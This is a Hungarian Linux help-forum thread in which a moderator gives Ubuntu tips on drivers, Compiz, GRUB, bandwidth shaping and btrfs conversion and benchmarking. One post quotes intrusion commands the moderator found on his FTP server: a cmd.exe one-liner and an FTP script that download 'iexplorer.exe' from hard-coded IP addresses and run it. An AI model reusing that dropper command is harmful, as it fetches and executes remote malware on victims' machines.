- Windows 10
- Hálózati / IP kamera
- Linux kezdőknek
- Kiderült, hogy hol veszik a legtöbb kínai EV-t
- Videó stream letöltése
- Elon Musk: az xAI szuperszámítógépet akar az AI-alapú chatbotjához
- Aliexpress tapasztalatok
- Vodafone otthoni szolgáltatások (TV, internet, telefon)
- Az EU szerint a ChatGPT még mindig nem felel meg a szabványoknak
- Ubiquiti hálózati eszközök
Aktív témák
-
MODERÁTOR
válasz Psychonaut #28189 üzenetére
Hát, ha el sem indul most az Ubuntu, akkor az alternate telepítő "Sérült rendszer javítása" menüpontját indítva, majd a GRUB újratelepítését választva lehet megoldani.
(#28190) ntomka: ha beírom a keresőbe, hogy Catalyst 8.741, akkor az összes találat szerint a 10.6-ról van szó. De amúgy sem hiszem, hogy egy hónappal a megjelenés előtt már meglenne Ubuntuéknak a 10.7 (vagy előzetes verziója).
[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz No-kia #28197 üzenetére
Mert most már a nyílt meghajtó üzemel. Ezzel ugyanúgy mennek az effektek, van 3D gyorsítás. Ha minden jól megy, akkor nem kell felrakni a legfrissebb drivert, mert néha azért vannak komplikációk az alaposabb tesztelés hiánya miatt. De ha nagyon szeretnéd mégis frissíteni, akkor a legújabb kernelt érdemes feltenni és a xorg-edgers tárolót kell felvenni.
Synaptic -> Beállítások -> Tárolók -> Egyéb szoftver -> Hozzáadás -> ppa:xorg-edgers/ppa
De még egyszer mondom, ha nincs különösebben probléma vele, akkor ne frissítsd, mert később lehetnek belőle problémák, visszacsinálni meg kicsit komplikáltabb. Ha felraktad, azután az fglrx-et sem tudod feltelepíteni, illetve feltudod, csak nem fog működni.[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
-
MODERÁTOR
válasz ngabor2 #28203 üzenetére
Ha érzékeli a funkciógombot, akkor ez egy viszonylag egyszerű művelet. Most csak VirtualBox alatt néztem meg Live CD-vel, ezért angolul tom leírni.
System Settings -> Input Actions -> KMenuEdithez pipa és jobb egérgomb -> New -> Global Shortcut -> K-Menu Entry
Ráállsz az új cuccra -> Trigger, itt megadod a gyorsbillentyűt -> Action, itt betallózod a számológépet (Utilities -> KCalc)
Elvileg ennyi, csak le kell Applyzni és mükszik.<-ƘƘ->
-
MODERÁTOR
válasz KAMELOT #28209 üzenetére
Rendszer -> Beállítások -> Megjelenés -> Vizuális effektusok
Persze ha ezeknél az előredefiniált és viszonylag egyszerű effektusoknál többet akarsz, akkor érdemes feltenni még hozzá pár csomagot. A compizconfig-settings-managert és a simple-ccsm-et a beállításához, a compiz-fusion-plugins-extrat azért, hogy teljesebb legyen a beállítanivaló. Természetesen működő 3D gyorsítás kelleni fog, szükség esetén telepítsed a zárt meghajtót (ha van és kell hozzá).<-ƘƘ->
-
MODERÁTOR
válasz KAMELOT #28211 üzenetére
Rendszer -> Beállítások -> Egyszerűsített Compiz beállításkezelő -> Asztal -> Megjelenés, állítsad be a Munkaasztal kockát -> Asztal oszlok, 4.
Nem tudom, hogy még mit akarsz állítani, mert rengeteg minden van, de nézz körül bátran a CompizConfig beállításkezelőben is.<-ƘƘ->
-
MODERÁTOR
válasz body007 #28234 üzenetére
Örömmel jelentem, hogy a tegnapi (vagy azelőtti) snapshottal ez a probléma megoldódott (10.60.6379). Viszont most nézem, hogy van újabb, a 10.60.6380, rögtön teszem is fel és megmondom, hogy még mindig jó-e.
Szerk.: Fenn is van, és úgy tűnik, hogy még mindig jó. Szóval nyugodtan rakd fel Te is, mostantól talán már nem lesz ezzel probléma.[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28236 üzenetére
Azt konkrétan nem olvastam, de tudtam már, hogy Mavericknél választhatóként ott lesz a btrfs is. Valóban nagyon ígéretesek a funkciói, vártam már én is, hogy elérhetővé váljon valamelyik daily buildben. Köszi, hogy szóltál, hétvégén alaposabban tanulmányozni fogom ezt a fájlrendszert.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28243 üzenetére
Éppenséggel most kicsit fellelkesültem és úgy döntöttem, hogy konvertálok át pár partíciót. Nagyon érdekes ez a snapshot funkció, már-már, sőt gyakorlatilag kiváltja a Rendszermentet is, hiszen könnyedén vissza lehet állni egy-egy régebbi állapotra a segítségével. Egyébként frankón működik TrueCrypttel is, most éppen egy olyan partíciót konvertálok. Régebben is foglalkoztam amúgy vele, csak ugye elég instabilnak volt mondható, ezért inkább vártam még vele, az adataim értékesebbek voltak. Meg aztán arra is várok, hogy a GRUB 2 végre támogassa.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28245 üzenetére
Nah, egy jó időbe tellett a TrueCryptes konvertálás, de sikeresen megcsinálta. Nagy nehezen rájöttem arra is, hogy a létrehozott ext2_saved könyvtárban levő képet kitudom törölni simán, de magát a könyvtárat csak az alábbi paranccsal (mivel ez egy subvolume):
btrfs subvolume delete /media/truecrypt3/ext2_saved
Azért érdekes volt, hogy átnevezni meg simán tudtam.
A tömörítéses bigyulára én is kíváncsi vagyok, fel is csatoltam compress opcióval a cuccot. Mondjuk nem vok benne biztos, hogy ennyi elég, bár nem reklamált miatta, pedig ha hibás dolgot írok be, akkor nem csatolódik. Mindenesetre annyit látok, hogy míg ugyanaz a könyvtár méretileg ext4-ben 246,3 MB, addig btrfs-ben 245,9 csak.
Sebességteszteket majd megpróbálok csinálni, mindenesetre nem kell arra számítani, hogy gyorsabb az ext4-nél, legalábbis egyelőre biztosan nem. Inkább a funkcionalitása teszi napjaink egyik legkorszerűbb fájlrendszerévé a btrfs-t.(#28246) body007: ilyen nálam is néha előfordul, de nyomok egy Ctrl+Alt+(fél mm)egeret, aztán egyből jó lesz.
[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz upszilon #28250 üzenetére
Még az energiagazdálkodásnál lehet keresni a problémád forrását esetleg. Biztos, hogy nem egy bugról van szó, mert nálam nem jelentkezik ez a jelenség. Mondjuk azt észrevettem nemrég, hogy ha az aksis üzemmódról hálózati tápellátásra kapcsolom a notit, akkor hiába van beállítva, hogy ne sötétítse el a képernyőt, akkor is megteszi. Ha alapból hálózati tápellátásról indítom a gépet, akkor viszont jó.
[ Szerkesztve ]
<-ƘƘ->
-
-
MODERÁTOR
válasz ntomka #28264 üzenetére
Elvileg ott a tároló amit fellehet venni, akkor nincs vele macera. De mint ahogy olvashattuk a tapasztalatokat, nem nagyon akaródzik működni a dolog. Nyilván azért nem minden esetben rossz, mert hát biztosan ellenőrizve tették bele a tárolóba, de akkor már jobb az óvatosság. Az újraindítás mondjuk ajánlott, nem tart olyan sokáig talán.
A parancsos felrakás után az alábbi paranccsal tudod leszedni a cuccot:
cd /usr/share/ati
sudo sh ./fglrx-uninstall.sh
Felrakás után nem árt futtatni egy
sudo aticonfig --initial
parancsot sem, jobb a békesség, akkor kreál egy xorg.conf fájlt is.(#28265) totyax: nah, akkor mégiscsak jó, jól van. Azért csak kényelmesebb ezt a tárolós módszert használni, elvégre automatizálódik a dolog.
Más: Bake, ráeresztettem már 2 órája egy ~800 GB-os titkosított partícióra a btrfs konvertálót, még mindig dolgozik rajta. Mondjuk olyan 500 GB adat is volt rajt, úgyhogy megértem, meg aztán végül is ~100 GB-al is elszöszölt jó darabig. Na mindegy, elmegyek aludni, aztán reggelre csak kész lesz.
[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz totyax #28277 üzenetére
Én a Rendszermenttel szoktam csinálni. Mivel Linux Minttet használsz, vagy GNOME főmenüt izzítasz be hozzá, vagy terminálban is ugyanolyan jól kezelhető, csak írd be, hogy
rendszerment
aztán ott már látsz mindent. Az első elkészítése viszonylag hosszadalmas, de aztán lerövidül ez az idő.Nagyon tetszik nekem ez a btrfs snaphot funkció. Tök olyan mint a kemény link (ala /home szinkron), csak éppen ha egy fájl tartalmán változtatunk, akkor a snapshotban a régi állapot megmarad. Na meg persze bármikor csatolható is ez a subvolume, akár az fstabba beírva is, nagyon király.
[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
Húha. Bekapcsoltam a compress opciót a btrfs fájlrendszeren és szemlátomást megtáltosodott az írás. Azért eddig csak ritkán láttam 110 MB/s fölötti másolási sebességet, de most szépen tartotta is, olyan 117 volt a csúcs nagy fájlok esetén. Azt bizony nem tudom, hogy kevesebb helyet foglalnak-e a fájlok vagy sem, mert nincs mivel megnézzem. Annyi azért benne van, hogy a procihasználat erősen megnő fájlműveleteknél, viszont annyi szálon dolgozik, ahány szálon képes a processzorunk. Ezt ellenőriztem úgy, hogy megnéztem a folyamatokat, és pont 3 db btrfs-delalloc- nevezetű dolgozott éppen másolgatás közben, szépen terhelve a processzort. Majd csinálok időmérést is a sima és a compress között, aztán megírom az eredményt.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28297 üzenetére
Hát, ha leírod, hogy pontosan mit és hogyan kell vele csinálni, akkor jó, egyébként elég bonyolultnak találom a dolgot. Most így hirtelen futtattam egy AIO-Stresst (Random Write), aztán ez lett az eredmény:
AIO-Stress:
aio-stress [Test: Random Write]
Expected Trial Run Count: 3
Started Run 1 @ 17:40:49
Started Run 2 @ 17:41:01
Started Run 3 @ 17:41:12
Test Results:
273.58
279.13
280.63
Average: 277.78 MB/s
De, hogy most ezt hol, melyik lemezen végezte, vagy mi ez az eredmény, arról fogalmam sincs.<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28301 üzenetére
Próbálkoztam a GUI beüzemelésével is, de egyelőre nem jutottam semmire.
Az előbbit a saját könyvtáramban állva futtattam, az btrfs. Most átálltam ext4-es partícióra és ez lett:
AIO-Stress:
aio-stress [Test: Random Write]
Estimated Test Run-Time: 1 Minute
Expected Trial Run Count: 3
Started Run 1 @ 18:09:06
Started Run 2 @ 18:09:17
Started Run 3 @ 18:09:28
Test Results:
253.46
263.45
267.13
Average: 261.35 MB/s<-ƘƘ->
-
MODERÁTOR
válasz totyax #28311 üzenetére
Nem archivál konkrétan mindent, de a telepített rendszeredet elmenti. Annyit, hogy vissza is lehessen a teljesen kitörölt rendszert állítani úgy, hogy az újfent működjön.
Szal a /home-on, meg pár cache-elt tartalmon kívül elment mindent. Vagyis majdnem, mert csak azokat a könyvtárakat, amelyek a Linux sajátjai. Célmeghajtót megadni nem lehet, mert muszáj, hogy adott helyre mentsen, ott a mentések mellett van más is. Tömöríteni meg azért nem lehet, mert bár egy mentés kevesebb helyet foglalna, de kettő már többet, és még jóval több időbe is tellene elkészíteni. Meg tallózni sem lehetne benne kézi visszaállításhoz.
A felesleges kernelek eltávolítása azért van alapból bekapcsolva, mert sokakat zavart, hogy csak gyűlnek és gyűlnek a kernelek, így leszedi őket frissítésnél. Persze csak a gyári kerneleknél, azoknál is a jelenleg használtak előző verzióit szedi le.<-ƘƘ->
-
MODERÁTOR
válasz totyax #28314 üzenetére
Mert a /home-ot nem menti, csak szinkronizálja. Gyakorlatilag kemény link, véletlen törlés elleni védelem. Helyet csak nagyon minimálisat foglal, akár több száz GB-nyi adatnál is. Ha nem használod a felesleges kernel eltávolítást, akkor egyszerűen kapcsold ki. A beállításaid megmaradnak a cucc frissítésekor is, nem kell aggódnod. Egyébként azért is van alapból bekapcsolva, mert hát a rendszer-visszaállítással vissza lehet állni egy korábbi állapotra ha gond lenne, ez a lényege. Egyébként meg minek kellene valakinek 28 féle régebbi kernel ugyebár. Egyáltalán, a beépített frissítőt sem muszáj használni, akkor biztosan nem lesz gond.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28310 üzenetére
Kipróbáltam ezt a pts-es dolgot, de annyira nem vagyok elámulva tőle. Egyetlen értelmesnek mondható tesztet találtam még, itt vannak az eredmények:
hdparm Timed Disk Reads:
Ext4 - Average: 131.50 MB/s
Btrfs - Average: 135.80 MB/s(#28319) totyax: úgy véd, hogy ha véletlen kitörölsz valamit, akkor még vissza tudod állítani könnyedén. Mondjuk ez főleg akkor érdekes, ha nem használ valaki szemetest sem, mint pl. én a Krusaderrel. Múltkor egyszer egy rosszul kiadott parancs után nagyon is jól jött.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28323 üzenetére
Igazából abban sem vagyok biztos, hogy a fájlrendszeren múlott a dolog ennél a tesztnél. Csak ki kellett választani az eszközt, amely fel sem volt csatolva. Viszont akkor meg fura az eredmény, mert ez azt jelentené, hogy a lemez elején lassabb valamelyest. Persze egy 20 GB-os, majd közvetlen mellette egy 100 GB-os partícióról van szó egy 1 TB-os merevlemezen, úgyhogy ez lehet mérési hiba is akár.
Amondó vagyok, hogy pontosabb képet kapnánk, ha egyszerűen stopperrel mérném a másolás sebességét, aztán kész.<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28325 üzenetére
A Debian.vdi fájlom például 12,7 GB, az Ubuntué 12,1, valamint ilyen 6-7-8-9 GB-osból van még összesen 9 db. Kis fájlok prezentálásához jó lesz a kicsomagolt kernel is, vagyis abból is több, ahogy mondtad múltkor. Ma már nem, de holnap akkor megejtem a mérést.
Amúgy mért érdekes annyira számodra a dolog? Tervezed, hogy az eredmények tükrében esetleg Te is átállsz eme modern fájlrendszer használatára?Az üres dd-s kép sem hülyeség, azt is beleveszem akkor. Amúgy ezeket a vdi képfájlokat bizonyára lehet tömöríteni bőven.
[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28327 üzenetére
Hát, érzetre, végül is mondhatjuk, hogy kevésbé fogja meg a gépet másolásnál mint az ext4. De aztán lehet, hogy csak beképzeltem. Annyi biztos, hogy néhol azért lassabb, például a kemény linkes fájltörlés sebessége egyértelműen elmarad az ext4-étől. De azért így is használható, és bizonyára még fejlődni fog ezen a téren. Viszont összességében a funkciólistája is igen impozáns, úgyhogy maradok már ennél. Majd eldől, hogy mennyire stabil, most rábíztam az adataimat, remélem nem lesz belőle gond. Azért a fontosabb dolgok több helyen is megtalálhatóak. Snapshotkészítésben már nagyon otthon vagyok.
Amúgy Te is nyugodtan kipróbálhatod ám, csak azért mentsd el az adataidat előtte. Lényegében a konvertálás egy egyszerű, tapasztalataim szerint teljesen biztonságos folyamat. Ha nem válik be, akkor könnyedén vissza lehet állítani az eredeti állapotot, vagyis vissza lehet csinálni formázás nélkül ext4-re.<-ƘƘ->
-
MODERÁTOR
Feltelepíted a sensors-applet elnevezésű csomagot, majd azért ellenőrizd, hogy az lm-sensors is fönt van-e. Futtasd le terminálban a
sudo sensors-detect
parancsot, mindenre igennel válaszolj, illetve egyszer csak Entert kell nyomni.
Jobb egérgomb a panelra (igen, ami alul meg fölül van) -> Hozzáadás a panelhez -> Hardware Sensor Monitor.
Jobb egérgomb a kihelyezett hőmérsékleti értékre -> Beállítások -> Szenzorok
Itt még be tudsz pipálni egy csomó mindent elméletileg, ha kell (ventilátor sebességek, feszültség értékek).<-ƘƘ->
-
MODERÁTOR
Bake, most néztem rá az FTP szerveremre (vagyis tároló), ProFTPD-vel megy meg minden. Mondjuk nyitott Wifivel egyből beszokott költözni a megosztott könyvtárba egy exe-s fájl, ezt törölni szoktam. De persze titkosítva van, szal nincs gond. Viszont most a root terminált nézegetve találtam érdekes parancsokat, amelyeket még véletlen sem én adtam ki:
7~
%systemroot%\system32\cmd.exe
del eq&echo open 190.142.239.135 20207 >> eq&echo user 22438 22543 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eqMeg van egy eq elnevezésű fájl is a saját könyvtáramban, azóta már töröltem. A tartalma:
get iexplorer.exe
open 190.159.142.119 18037
quit
user 20669 2222
open 190.105.3.227 33678
get iexplorer.exe
user 19444 32654
quit
get iexplorer.exe
user 22438 22543
quit
open 190.142.239.135 20207Nyugalom, pánikra semmi ok, nincsen Internet Explorer a rendszeren.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28348 üzenetére
De nem értem a dolgot, mert csak olvasható a tartalom, nem tudnak bejelentkezni adminként, mert nincsenek felhasználók sem. Próbálkozni próbálkoztak, sőt, folyamatos volt a támadás router nélkül. Most éppen azért néztem rá, mert nem logolt, bár ez inkább azért volt, mert nem futott.
(#28349) hackeeeee: néha volt csak nyitva, meg próbálkoztam a Windet beüzemelni routernek, de aztán meggondoltam magam. Egyrészt azért, mert max. WEP titkosításig jutottam, másrészt meg azért, mert a security logban csak azt láttam, hogy állandóan próbálnak bejelentkezni adminként. Inkább dobtam fel a routerre egy DD-WRT firmware-t, aztán király lett az is.
<-ƘƘ->
-
-
MODERÁTOR
válasz ntomka #28353 üzenetére
Mert igencsak bonyolultnak találtam a dolgot. Alapból nem lenne gond, de fel kellene tölteni fordításra, de ezen nincs mit fordítani. Egy csomó mindent is figyelembe kell venni, az elnevezésnél is be kell tartani szabályokat. Aztán meg ott van az is, hogy nem csak Ubuntuhoz jó. Persze ha valaki jártasabb személy adna eligazítást, akkor végül is oda is felmehetne. De amennyit frissítem mostanában, még tároló sem kell neki. Őszintén szólva a btrfs nagy konkurencia, úgyhogy lehet értelmét is veszti a dolog hamarosan.
Jut eszembe, csinálom is a sebességméréseket akkor.
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28355 üzenetére
Nah, kész is vagyok. Kétféle tesztet csináltam, egy nagy fájlosat, melyet a Debian.vdi képviselt a maga 12,7 GiB-nyi méretével:
btrfs -> btrfs compress - 1:56.30
ext4 -> btrfs compress - 1:52.18
btrfs -> ext4 - 1:52.18
btrfs compress -> ext4 - 1:49.67
btrfs compress -> btrfs - 1.52.55meg egy kis fájlosat, amit kettő kernel forrás együttes mérete adott:
btrfs -> btrfs compress - 2:59.35
ext4 -> btrfs compress - 2:50.33
btrfs -> ext4 - 1:45.62
btrfs compress -> ext4 - 1:33.69
btrfs compress -> btrfs - 1:58.49
ext4 -> btrfs - 1:58.19Itt ez utóbbinál lemértem mindent kétszer, volt amit háromszor is, és a jobbikat adtam meg.
Annyi látszik, hogy bizony a tömörített btrfs kicsiny fájlok másolásánál nem jeleskedik a sebesség szempontjából. Az ext4 pedig egyértelműen, minden esetben gyorsabb a btrfs-nél. Tehát asszem inkább kikapcsolom ezt a tömörítéses bigyulát.[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz PiciKenny #28360 üzenetére
Nincsen GUI hozzá, leírom, hogy mit kell tenned:
Első lépésben telepíted, majd a /usr/sbin/wondershaper fájlt megnyitod szerkesztésre, az első sorában a #!/bin/sh-t át kell írni #!/bin/bash-ra.
Második lépésben a /etc/network/interfaces fájlt nyitod meg szerkesztésre, és abba írogatod a dolgokat, például így nézzen ki:auto lo
iface lo inet loopback
up /usr/sbin/wondershaper wlan0 5000 500
down /usr/sbin/wondershaper clear wlan0ez azt jelenti, hogy a wlan0 eszközt (ez wifi, amúgy a vezetékes az eth0 lesz valszeg nálad) szabályozza, a maximális letöltés 5000 Kbps, a feltöltés meg 500 Kbps. Ez utóbbinál érdemes olyan 5-10 %-nál kevesebbet írni mint a névleges sebesség, akkor a leghatékonyabb. Ellenőrzésképp, hogy működik-e, írhatsz be alacsonyabb számokat is, mint a sávszélességed, akkor annál gyorsabban letölteni nem tudsz, ha jó.
Hogy működésbe lépjen, ki kell még adni asudo /etc/init.d/networking restart
parancsot úgy, hogy a hálózati ikonnál az értesítési területen letiltod a hálózatot addig, majd utána engedélyezed. Vagy persze újra is indíthatod a gépet.
<-ƘƘ->
-
MODERÁTOR
válasz PiciKenny #28362 üzenetére
Számolj 5000/1000-el. Mondjuk torrent miatt érdemes visszább venni, de ne 768-ra, hanem bőségesen elég 950-re is, különben elveszik elég sok sávszél. Szal próbáld meg így, hogy 5000 és 950, ezt írd be. Amúgy ők váltáskor biztosan nem 1024-el számolnak, hanem csak 1000-el.
[ Szerkesztve ]
<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28365 üzenetére
Nah, közben eljátszadoztam még a btrfs-el, megpróbáltam a másodlagos biztonsági rendszeremet átültetni rá. A /boot-tot külön raktam szépen ext4-re, elvileg minden stimmelt, de egyszerűen nem tudtam a GRUB-ot feltelepíteni úgy, hogy működjön. Próbáltam háromféleképpen is, de a chroot-os dolog nem működik.
Föltelepítettem akkor alternate CD-vel, nem mértem az időt, de elég sokáig tartott a dolog, bőven tovább mint ext4-el. Most nagyjából már normalizálódott a helyzet, mert beállítottam mindent, de az első indítás után is elég lassúcska volt.
Egyelőre két problémám van még, az egyik, hogy az egérkurzor olyan 3 másodpercen belül mindig eltűnik, csak mozgatásra jön elő (ez lehet aztán, hogy valami feature lesz, ki tudja), a másik pedig, hogy nem tudok swap fájlt kreálni, illetve az átmásolt kész fájlt sem lehet bekapcsolni, nem jöttem rá, hogy mért.<-ƘƘ->
-
MODERÁTOR
válasz No-kia #28370 üzenetére
Jobb egérgomb az ikon felett -> Méret
(#28371) hackeeeee: mindenképpen a Mozilla Security Team a jó választás, mert abban benne van a legújabb, 3.6.4-es Firefox is, míg a másikban még csak a 3.6 van és már több hónapja nem frissítették (legalábbis a Lucidét nem, de a Karmichoz is csak a 3.6.3 van benne.)
(#28368) kovaax: a lefoglalatlan megákat hozzá tudod adni GParteddel az előttük levő partíciókhoz, az nem tart semeddig sem. A legelején levőt meg hozzá tudod adni az utána következőhöz, csak az kicsit tovább fog tartani, bár nem kibírhatatlanul, mert nem túl nagy a mérete annak sem.
<-ƘƘ->
-
MODERÁTOR
válasz Kendek #28367 üzenetére
Nah, átkonvertáltam az éles rendszerem alatt is az ext4 partíciót btrfs-re, csak pár perces meló volt az egész. Tegnap jó pár órát eltököltem az új rendszer telepítésével és beállításával, ez nem túl kellemes, de persze szükségtelen is lett volna, csak a legalapvetőbb módszer nem jutott eszembe a GRUB 2 újratelepítésére. A menete:
Elindítottam a frissen telepített rendszert (de jó lett volna a régi is), GParted segítségével vágtam le az átkonvertálandó rendszer partíciójából 100 MB-ot, majd azt ext4-re formáztam, aktívra állítottam. Amiből levágtam, azt átkonvertáltam btrfs-re, majd csatoltam, mint ahogy az újonnan készült 100 megásat is. Ez utóbbira áthelyeztem az előbbin levő boot könyvtár teljes tartalmát. Az fstabot módosítottam úgy, hogy a / UUID-jét átírtam a konvertálás miatt megváltozott új karaktersorozatra (meg az ext4-et btrfs-re), meg kiegészítettem még a /boot alá csatolandó 100 MB-os ext4-es fájlrendszer UUID-jével. A grub.cfg-ben is átírtam ez utóbbi UUID-re az ottani karaktersorozatokat. Ezután nyomattam egy sudo update-grub-ot, majd újraindítottam a gépet. Nyomtam erőteljesen a Shift billentyűt, kiválasztottam az újonnan átkonvertált rendszert, és szépen el is indult. Ott aztán a Synaptic segítségével újratelepítettem a grub-pc csomagot és megint újraindítottam, de úgy, hogy már le volt húzva a másik merevlemez, csak ez maradt. Voilá, elindult rendben a rendszer, ennyi volt az egész, semmi ördöngősség.<-ƘƘ->
-
MODERÁTOR
válasz ntomka #28381 üzenetére
Hát, amennyi időbe belekerült tegnap a telepítés meg beállogatás, inkább többet nem szeretném végigcsinálni. Persze majd kell, de most igazából szükségtelen volt. Kockázat a dologban meg semmi sem volt, mert könnyedén vissza tudtam volna csinálni az egészet, még most is, ha akarnám.
Egyetlen probléma, hogy a btrfs fájlrendszeren elhelyezkedő swap fájlt nem lehet csatolni, így most nincs swapom.<-ƘƘ->
Aktív témák
Állásajánlatok
Cég: Alpha Laptopszerviz Kft.
Város: Pécs
Cég: Ozeki Kft.
Város: Debrecen